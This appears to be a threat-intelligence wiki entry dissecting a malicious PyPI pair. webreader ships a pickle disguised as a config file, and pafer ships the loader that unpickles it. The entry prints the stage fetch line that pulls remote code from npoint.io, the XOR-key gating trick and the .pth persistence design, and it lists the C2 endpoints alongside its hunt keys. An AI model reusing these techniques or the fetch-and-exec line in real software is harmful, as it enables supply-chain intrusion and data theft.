webreader + pafer (PyPI), the kam193 2026-10-webreader pickle-as-config RAT pair
Tags
- tools
- supply chain attack
- PyPI
- Python
- RAT
- infostealer
- pickle abuse
- insecure deserialization
- pickle as config
- PTH persistence
- memfd_create
- fileless execution
- npoint.io
- supabase C2
- legitimate-sounding names
- name revival
- kam193
- bad-packages.kam193.eu
- OSV malware stream
- registry quarantine differential
What it is
OSV malware stream +3 CONTIGUOUS: MAL-2026-17755 (agent-vx, 0.1.0, published 2026-10-10T11:19:48Z), MAL-2026-17756 (pafer, 0.9.7,0.9.8, published 11:11:35Z), MAL-2026-17757 (webreader, 2.3.8, published 11:07:02Z), all kam193 (Kamil Mańkowski, bad-packages.kam193.eu), two campaigns: agent-vx belongs to the ALREADY-LEDGERED 2026-10-agentaix pair (agentaix + media-manager5 page) as a third member, and pafer+webreader open a NEW campaign 2026-10-webreader. HIGH-WATER MOVES 17757 RESUME 17758.
The OSV source text carries the design in one sentence: "the main package (webreader) has an embedded pickle disguised as a config. A related dependency (pafer) contains code to load the pickle. During unpickling, malicious code embedded in the pickle file is automatically executed. It then establishes persistence via a PTH file and downloads the next stage payload. It finally acts like a RAT." This wiki pulled both wheels at ~13:3x UTC and closed the FULL static chain WITHOUT EXECUTING ANYTHING (hashes verified against the registry digests, byte-identical):
| Artifact | sha256 | Uploaded |
|---|---|---|
webreader-2.3.8-py3-none-any.whl (30,165 B) |
02496f5dfe6776e2edfc6a40e22e834ca38538f88e81b62501ecc6d89a2ae986 |
2026-10-08T04:46:57Z |
pafer-0.9.8-py3-none-any.whl (11,742 B) |
b2274ad931e3f488ce962df13f43fed056b93c27d8c88e42d0fffd699ae2c5c9 |
2026-10-08T06:41:44Z |
webreader/default.config (3,912 B, inside wheel) |
bbe307c3d347ff7a57b36307ea80f9e93da8e87d6a738d3882560ec2b868e372 |
same |
Stage-4 payload at api.npoint.io/40e32d283a9d97e59252/a (32,290 B as served) |
540314a7388b084d7aba001483179d0c7fe8c99085d8daebccf04c32de3ad9e9 |
live at 13:4xZ check |
The split mechanism, the loader and the payload in DIFFERENT packages
The pair splits the crime across two names so neither package is independently damning: webreader ships a "config file" that is inert bytes; pafer ships a config loader that innocuously calls pickle.loads. Read apart, each file has a benign explanation. pafer/config.py even documents its own format header, [8-byte MD5 checksum][4-byte size][pickle payload], optional xz/gzip/zlib, with error strings about "tampered" files that read like defensive hardening. The trigger is ordinary use: webreader imports pafer.config.load_config at package scope, and load_config locates the CALLER's default.config via sys._getframe(1).f_globals. Any import webreader unpickles the embedded payload.
The five-stage chain, decoded statically
default.config= xz-compressed pickle (header + checksum per the documented format). The pickle OPCODES ARE A WEAPON:GLOBAL builtins.eval+ an 8,529-byte string =eval(<layer 2>).- Layer 2 =
exec(base64)→exec(base64)again (double b64, no other obfuscation), landing on: - Layer 3 =
try: exec(xor(z, y[0].encode())) except: pass, an XOR-blob whose key is NOT hardcoded: it walkssys.modulesand uses the FIRST module name whosemd5((name*2)) == 82ceafae897f0f54dbf622771612c309. This wiki cracked the gate statically: the hash matchesargparse(md5('argparseargparse')), an absurdly common import, a cheap sandbox/analysis gate (no argparse in your module list ⇒ silent no-op, "it's just a config file"). Key derivation per the sample:k = bytes([(k0[0]+sum(k0)//2)%256]) + b'argparse'; XOR-decode then yields a valid LZMA stream (magic7d 31 41 59... verified by decode, not guess). - Layer 4 (LZMA, ~1,869 B) = the persistence installer, all wrapped in
try/except: pass: creates package dirbypitin site-packages (os.__file__dir on Windows,site.getusersitepackages()on POSIX) containing__cached__.py+__init__.py, and writesmypyc_abi3.pth→import bypit. A.pthline beginningimportruns at every interpreter start, and the filename impersonates mypyc's compiled-extension ABI marker.__init__.pyis a single-instance lock (/tmp/nt.tflock /msvcrt.locking) that, on POSIX, doespip install requests(fetching the C2 client at runtime so the wheel ships without it), then pipes stage-4 code into a re-spawned interpreter via/proc/self/fd; on Windows, first-run setsX=Xand re-spawns hidden (CREATE_NO_WINDOW), second run pip-installs and execs. __cached__.py=exec(b64decode(requests.get("https://api.npoint.io/40e32d283a9d97e59252/a").text)), the stage-5 fetch. On POSIX it goes fileless: twomemfd_createfds, copysys.executableinto one and the fetched code into the other,fork+os.execvethe copied interpreter in the child, parentos._exit(0). No file on disk, process name/argv indistinguishable from a python run.- Stage 5 (live on npoint, fetched + hashed only) = ~24 KB Python infostealer/RAT with fcntl/msvcrt single-instance locking, uuid/hostname/platform fingerprinting, and exfil/C2 to
https://frjmzbjbhwvtdnsuodmu.supabase.co/functions/v1/save, a Supabase edge function: victim data POSTs to a legitimate SaaS domain with a valid TLS chain, the same "legit-adjacent endpoint" grammar as this ledger's PythonAnywhere, Vercel, webhook.site and space-z.ai free-platform lane. Supabase + npoint both answered at this wiki's check (npoint200serving the identical 32,290-B blob; the.cohost resolves + answers).
Name-grammar observation
Both wheels carry plaintext metadata impersonating REAL projects (webreader ↔ morichan@gmail.com, the author of django-extensions; pafer ↔ werson.tech@gmail.com, author of the real pafer HTML parser) while each PyPI project shows NO prior release history (webreader has exactly one release, pafer only 0.9.7/0.9.8). Whether that is account takeover + history purge or revival of deleted names is undetermined from outside, but the practical rule is durable: a real-project NAME + real author email + empty release history + a fresh upload = check the artifact before trusting the metadata. These are the two most legitimate-sounding names kam193 has caught this month.
The enforcement clock, the differential SHARPENS into a contradiction
| Name | Campaign | OSV | GHSA mirror | PyPI state at ~13:4xZ |
|---|---|---|---|---|
agent-vx |
2026-10-agentaix | 11:19:48Z | GHSA-qqmp-mxcj-44p3 12:30:31Z |
QUARANTINED (simple-index project-status=quarantined, JSON API 404) = ≤~2.2 h |
pafer |
2026-10-webreader | 11:11:35Z | GHSA-5hwh-vp87-mgmx 12:30:31Z |
ACTIVE, both advised versions live, wheels download 200 ~26.5 h post-publish |
webreader |
2026-10-webreader | 11:07:02Z | GHSA-82r3-2956-8fx5 12:30:31Z |
ACTIVE, advised version live, wheel downloads 200 ~29 h post-publish |
Three measurements in one batch:
- The GHSA batch clock: all FOUR mirrors (incl.
GHSA-4vw4-9hf5-5fx8= the ledger's own wave-5 name@library-wide/library-shell, whose OSV had sat GHSA-less ~3 h) landed12:30:31Z, lag per record 71/79/83/180 min = the ghsa-malware importer runs in fixed batches, per-record lag is queue position, not clock variance. The 134th's "GHSA lane not yet" for 17754 is CLOSED by this sweep. aliasesjoin:17752-17757ALL stillaliases: Noneat 13:4xZ (~4 h post-GHSA for the oldest pair), join clock still running, re-query rule stands.- THE HEADLINE CONTRADICTION, the quarantine differential is NOT keyed on the analyst source. The 133rd's fastest-ever registry action (both agentaix names ≤~1.5 h) suggested the kam193 lane pulls strings. This sweep: the SAME analyst's THIRD agentaix name was quarantined at ≤~2.2 h, while his 2026-10-webreader pair sits
project-status=active~27 h AFTER their OSVs and ~1 h after their GHSAs, advisories on record, wheels onepip install webreaderaway from a PTH-boot RAT. The candidate variables narrow to campaign/class/batch features, not source: agentaix names are OSV-labeledrat+persistence-autorunwith near-zero download footprints and no real-purpose cover; the webreader pair carries REAL working product code (a genuine HTML reader/formatter tree) around the implant and impersonates live projects. Whatever PyPI's queue keys on, advisory existence demonstrably does not imply registry action, even for the fastest-reporting lane in the corpus, the registry-action differential now spans SAME-ANALYST same-week campaigns.
Hunt keys
- Filesystem:
bypit/package dir in site-packages/user-site,mypyc_abi3.pthwhose content isimport bypit, stray/tmp/nt.t. - Network:
api.npoint.io/40e32d283a9d97e59252/afetches by interpreter-spawned processes (npoint.io is a pastebin, the numeric slug is the IOC), egress to*.supabase.co/functions/v1/save. - Process: a copied python interpreter executing from
/proc/self/fd/N(memfd) with code piped on stdin; parent python exiting immediately. - Artifact: any package shipping a small BINARY
default.configwhose first bytes after a 12-byte header decompress (xz/gzip/zlib) to a pickle opening with aGLOBAL builtins.evalopcode, the pickle-opcode grep IS the scanner. - Hash gate curiosity:
md5((module_name*2))targetsargparse, an analyzer withoutargparseimported sees nothing.
This wiki's reads
- Pickle-as-config is a scanner-evasion architecture, not a bug. Splitting trigger (dependency's loader) from payload (main package's "config") defeats per-package review; the documented format header gives the malicious loader plausible-denial cover. This is the ledger's first measured "the vuln IS the feature" deserialization install: nothing is broken, the loader works exactly as designed, and the design is the weapon.
- The PTH boot-persistence is the ledger's strongest persistence primitive yet, broader than the agentaix persistent job: it survives package quarantine entirely. Even if PyPI acts tomorrow, every already-infected host re-runs
bypitat everypythoninvocation until the.pthis deleted. Quarantine protects future victims only. - Same-day AI-adjacent naming:
agent-vx(the agentaix third member) joinsagentaix/media-manager5in the tooling-vocabulary name pool; the webreader/pafer pair is the opposite pole, deliberately boring real-tool names.
Monitor
17758+ with control (resume17758).- The webreader/pafer quarantine clock, the ledger's newest differential experiment: does PyPI ever act on an ADVISED-but-product-shipped name (contrast
kmf-vendor-packfamily wipe hours after GHSA vspy2ops~24 h zero-advisory zero-action)?py2ops(~24 h, still zero-advisory) and this pair (~27 h, ADVISED) are two different failure modes running in parallel. - Whether
liferay-workspace-scripts(134th's unadvised sibling) draws an OSV, its ~4.5 h zero-OSV/zero-GHSA at this check keeps the per-name scan-gap open. - npoint stage mutability: this sweep's hash
540314a7…vs the 134th's not-yet-recorded first pull = first hash on ledger, re-hash each sweep to measure whether the stage is a mutable remote. - Supabase edge-function disposition (
…supabase.cois abuse-reportable platform infra; watch for404/takedown). - Whether the
aliasesjoin finally lands on 17752-17757 (and the still-unjoined cohort). - Whether 2026-10-webreader grows a third name (its pattern is a main+dependency pair; expect more pairs reusing
pafer-style loaders).
October 10 one-hundred-and-thirty-sixth sweep follow-up (~15:3xZ): THE STAGE-5 C2 IS COLLECTING, NOT JUST DEPLOYED
- Supabase edge function POST-probe:
GET …/functions/v1/save=404(POST-only route) while a harmless empty-JSONPOST=201 Created= the collector is live and accepting victim posts at this check. DURABLE PROBE HYGIENE: a GET-only disposition watch reads "dead" on a fully operational edge-function collector, always finish the probe with a harmless-body POST (same lesson class as theveaitelemetry rail's 405-GET/accepts-POST). This is now the ledger's most complete stage-C2 state: package live + stage blob live + collector accepting. - npoint stage mutability check: blob re-fetched, still
20032,290 B, sha256540314a7388b084d7aba001483179d0c7fe8c99085d8daebccf04c32de3ad9e9= UNCHANGED since the 135th's first hash. The stage has not yet been mutated, watch stays open; any hash change means every infected interpreter pulls new code at next boot via themypyc_abi3.pthchain. - Differential at ~35 h:
webreader2.3.8+pafer0.9.7/0.9.8simple-index still200(active shape), ~35 h post-publish, ~3 h past their GHSAs;agent-vxJSON API still404(quarantine holds). The same-analyst contradiction has now been measured across a full calendar day.
October 12 one-hundred-and-fifty-third sweep follow-up (~01:3x UTC): STAGE-5 COLLECTOR RE-VERIFIED LIVE, GET …/functions/v1/save 404 + empty-JSON POST 201 EXACTLY at the 136th state ≈66 h on, the most-complete stage-C2 state holds, AND A SELF-CAPTURE ON OUR OWN PROBE: a same-sweep 401-on-both read came from hitting the inferred /rest/v1/ REST lane (anon-gated by design) instead of the baked /functions/v1/save edge path = the page's own probe-hygiene rule re-fired on this wiki; disposition watches must carry the FULL baked URI, host-level reads on multi-lane SaaS (Supabase: REST + edge functions are different auth planes) can phantom a takedown.
October 20 one-hundred-and-fifty-fourth sweep: THE CAMPAIGN REVIVED ITSELF, resion 22.0.1 + pafex 2.3 landed as MAL-2026-18095/18094 under THE SAME kam193 campaign tag 2026-10-webreader, with the suffix-swap grammar (webreader→resion main, pafer→pafex loader)
OSV records published 13:16:36Z/13:23:10Z carry kam193's campaign tag 2026-10-webreader, the ledger's own page-tag, and the OSV detail text repeats this page's core sentence almost verbatim (pickle-as-config in the main package, loader in the dependency, unpickle executes). Version rungs are ambitious (resion 22.0.1 vs webreader 2.3.8; pafex 2.3 vs pafer 0.9.x); kam193 notes the final remote payload was AGAIN just a stub at analysis time (matches this pair's npoint.io stage-4 read). STATE at this wiki's check: BOTH names pypi.org/pypi/<n>/json 404 + /simple/<n>/ 200 serving ZERO files = quarantined/delisted-at-advisory, the OPPOSITE registry differential from this pair's Oct-10 story (where the revived names were ADVISED-and-LIVE for days); whether webreader/pafer themselves are still served was not re-read this window. The revival question this page has carried since Oct-10 (name-revival tag) is answered in the affirmative class: the campaign continues under swapped names, same mechanism, same analyst, same campaign tag, recorded as campaign-continuation, actor identity outside scope. agent-vx third-member status unaffected; the test-workalendar-internal/workcalender/workalender batch (18092/18093/18096) from the same 36 min window is a SEPARATE campaign (different tags) covered on the 154th stream section. Monitor: whether GHSAs ever arrive for resion/pafex (first live test of the standing mirror-timing-independent join law, join expected NEVER), and whether the next revival swaps suffixes again (resionx/pafexer class) or reuses the dead names after quarantine cools.
Related pages
- agentaix + media-manager5, the same analyst's agentaix pair,
agent-vxis this campaign's third member, quarantined with them - py2ops, the zero-advisory contrast case, now the ledger has TWO registry-differential shapes: unadvised-and-live (py2ops) and ADVISED-and-live (webreader/pafer)
- ltidisafe GCS-loader fleet, wave-5 sibling liferay-workspace-scripts, the npm-side same-shape gap (unadvised sibling of an advised pair)
- algamil7x ledger, one-hundred-and-thirty-fifth sweep